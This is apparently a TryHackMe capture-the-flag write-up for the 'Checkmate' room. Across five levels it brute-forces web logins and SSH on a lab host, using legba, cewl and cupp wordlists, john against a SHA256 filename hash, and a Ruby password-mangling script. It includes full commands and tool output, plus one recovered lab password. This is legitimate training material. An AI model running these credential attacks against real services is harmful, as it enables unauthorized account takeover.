Information
Room#
- Name: Checkmate
- Profile: tryhackme.com
- Difficulty: Easy
- Description: Exploit weak password practices across Marco’s internal systems to achieve full compromise.

Write-up
Overview#
Install tools used in this WU on BlackArch Linux:
sudo pacman -S legba cewl cupp john rubyContext#
Marco Bianchi, a systems administrator, recently deployed several internal services, including a console, employee portal, social platform, and access to critical infrastructure. Due to tight deadlines and operational pressure, Marco reused weak, predictable, and pattern-based passwords across multiple systems.
Your objective is to conduct a password security assessment to identify weaknesses in Marco’s authentication practices.
Start by accessing the main application at http://10.128.131.76:5000. From there, you will be guided through each stage of the challenge, uncovering and exploiting weaknesses in Marco’s password usage.
Level 1#
Marco deployed a firewall at firewall.thm:5001 but kept default credentials.
On http://10.128.131.76:5001/ there is a FirewallOS authentication page.
Trying to find teh default password by hand is tedious, let's use legba for that.
➜ legba http \
-U 'admin' \
-P /usr/share/wordlists/passwords/rockyou.txt \
-T http://10.128.131.76:5001/login \
--http-method POST \
--http-success '!contains(body, "Invalid credentials")' \
--http-payload 'username={USERNAME}&password={PASSWORD}' \
--single-match \
-Q
legba v1.3.0
[INFO ] target: http://10.128.131.76:5001/login
[INFO ] validating http success condition: ! contains , body "Invalid credentials"
[WARN ] http://10.128.131.76:5001/login validates success condition for a non existent page starting with a dot, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }
[WARN ] http://10.128.131.76:5001/login validates success condition for a non existent page, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }
[INFO ] username -> string 'admin'
[INFO ] password -> wordlist /usr/share/wordlists/passwords/rockyou.txt
[INFO ] [2026-07-12 21:16:43] (http) <http://10.128.131.76:5001/login> username=admin password=EDITED
[INFO ] runtime 2.857867428sLevel 2#
Marco built an internal Employee Login panel on jobs.thm:5002 and used common company keywords as passwords.
On http://10.128.131.76:5002/, we can use cewl to create a wordlist based on the words on the webpage.
cewl -d 2 -m 3 --lowercase -w $(pwd)/cewl_words.txt http://10.128.131.76:5002/The we can use legba again.
➜ legba http \
-U 'marco' \
-P cewl_words.txt \
-T http://10.128.131.76:5002/login \
--http-method POST \
--http-success '!contains(body, "Invalid credentials")' \
--http-payload 'username={USERNAME}&password={PASSWORD}' \
--single-match \
-Q
legba v1.3.0
[INFO ] target: http://10.128.131.76:5002/login
[INFO ] validating http success condition: ! contains , body "Invalid credentials"
[WARN ] http://10.128.131.76:5002/login validates success condition for a non existent page starting with a dot, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }
[WARN ] http://10.128.131.76:5002/login validates success condition for a non existent page, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }
[INFO ] username -> string 'marco'
[INFO ] password -> wordlist cewl_words.txt
[INFO ] [2026-07-14 20:47:27] (http) <http://10.128.131.76:5002/login> username=marco password=EDITED
[INFO ] runtime 1.001801332sLevel 3#
Navigate to social.thm:5003 and derive Marco's password from personal info.
Let's retrieve Marco personnal data on the previous app.
marco
bianchi
it
operations
marky
14021995Then let's use cupp to create a password lsit based on his profile.
➜ cupp -i
[…]
> First Name: marco
> Surname: bianchi
> Nickname: marky
> Birthdate (DDMMYYYY): 14021995
[…]
> Do you want to add some key words about the victim? Y/[N]: Y
> Please enter the words, separated by comma. [i.e. hacker,juice,black], spaces will be removed: it,operations
> Do you want to add special chars at the end of words? Y/[N]:
> Do you want to add some random numbers at the end of words? Y/[N]:Y
> Leet mode? (i.e. leet = 1337) Y/[N]: N
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to marco.txt, counting 4630 words.
> Hyperspeed Print? (Y/n) :
[+] Now load your pistolero with marco.txt and shoot! Good luck!We're still using legba for the brute-force.
➜ legba http \
-U 'marco' \
-P marco.txt \
-T http://10.128.131.76:5003/login \
--http-method POST \
--http-success '!contains(body, "Invalid credentials")' \
--http-payload 'username={USERNAME}&password={PASSWORD}' \
--single-match \
-Q
legba v1.3.0
[INFO ] target: http://10.128.131.76:5003/login
[INFO ] validating http success condition: ! contains , body "Invalid credentials"
[WARN ] http://10.128.131.76:5003/login validates success condition for a non existent page starting with a dot, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }
[WARN ] http://10.128.131.76:5003/login validates success condition for a non existent page, likely false positives: Success { status: 404, content_type: "text/html; charset=utf-8", size: 207 }
[INFO ] username -> string 'marco'
[INFO ] password -> wordlist marco.txt
[INFO ] [2026-07-14 21:05:52] (http) <http://10.128.131.76:5003/login> username=marco password=Bianchi2495
[INFO ] runtime 1.872701179sLevel 4#
On social.thm:5003, Marco recently uploaded a new profile picture. For privacy and storage consistency, the platform automatically renames uploaded files to the SHA256 hash of the original filename and saves them in the format (SHA256).png. Your task is to identify the original filename of Marco’s uploaded profile picture. Submit only the filename to proceed.
The image name d34a569ab7aaa54dacd715ae64953455d86b768846cd0085ef4e9e7471489b7b.png, so it's the sha256 of the filname.
Let's try to brute-force the filename using a simple dictionary.
➜ john image.txt --wordlist=/usr/share/wordlists/passwords/rockyou.txt --fork=4 --format=raw-sha256
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 128/128 AVX 4x])
Warning: OpenMP was disabled due to --fork; a non-OpenMP build may be faster
Node numbers 1-4 of 4 (fork)
Press 'q' or Ctrl-C to abort, almost any other key for status
EDITED (?)
4 1g 0:00:00:00 DONE (2026-07-14 21:15) 1.515g/s 387.8p/s 387.8c/s 387.8C/s password..bethany
1 0g 0:00:00:02 DONE (2026-07-14 21:15) 0g/s 1552Kp/s 1552Kc/s 1552KC/s benzbenz.abygurl69
Waiting for 3 children to terminate
2 0g 0:00:00:02 DONE (2026-07-14 21:15) 0g/s 1552Kp/s 1552Kc/s 1552KC/s god143.a6_123
3 0g 0:00:00:02 DONE (2026-07-14 21:15) 0g/s 1552Kp/s 1552Kc/s 1552KC/s fabian..*7¡Vamos!
Session completedLevel 5#
Marco has revealed his password pattern on social.thm:5003, using predictable rules based on keywords and formatting. Use this information to generate a targeted wordlist and brute-force the SSH service with username marco.
Marco tips are:
My tip for strong passsord: I take a company keyword, capitalize it, then append the year like 2024 or any other number and an exclamation mark.
We can re-use cewl_words.txt as base wordlist.
It's a bit tedious doing this rules with just one hashcat or john command because they don't like to mix rules and masks. It's quicker to just do it in Ruby.
#!/usr/bin/env ruby
input_file = "cewl_words.txt"
output_file = "cewl_words_marco.txt"
File.open(input_file, "r") do |in_file|
File.open(output_file, "w") do |out_file|
in_file.each_line do |word|
word = word.strip
next if word.empty?
(0..99).each do |year|
out_file.puts "#{word.capitalize}20#{year.to_s.rjust(2, '0')}!"
end
end
end
endruby mangler.rblegba kept crashing for ssh, in fact is was timeout issue but legba is very aggressive with that and does not try to auto-calibrate, so I had to set a high ammount (5 seconds) to let the server answer before legba stopped waiting.
➜ legba ssh \
-U 'marco' \
-P cewl_words_marco.txt \
-T 10.128.131.76:22 \
--single-match \
--ssh-auth-mode password \
--timeout 5000 \
-Q
legba v1.3.0
[INFO ] target: 10.128.131.76:22
[INFO ] username -> string 'marco'
[INFO ] password -> wordlist cewl_words_marco.txt
[INFO ] [2026-07-14 22:12:52] (ssh) <10.128.131.76:22> username=marco password=EDITED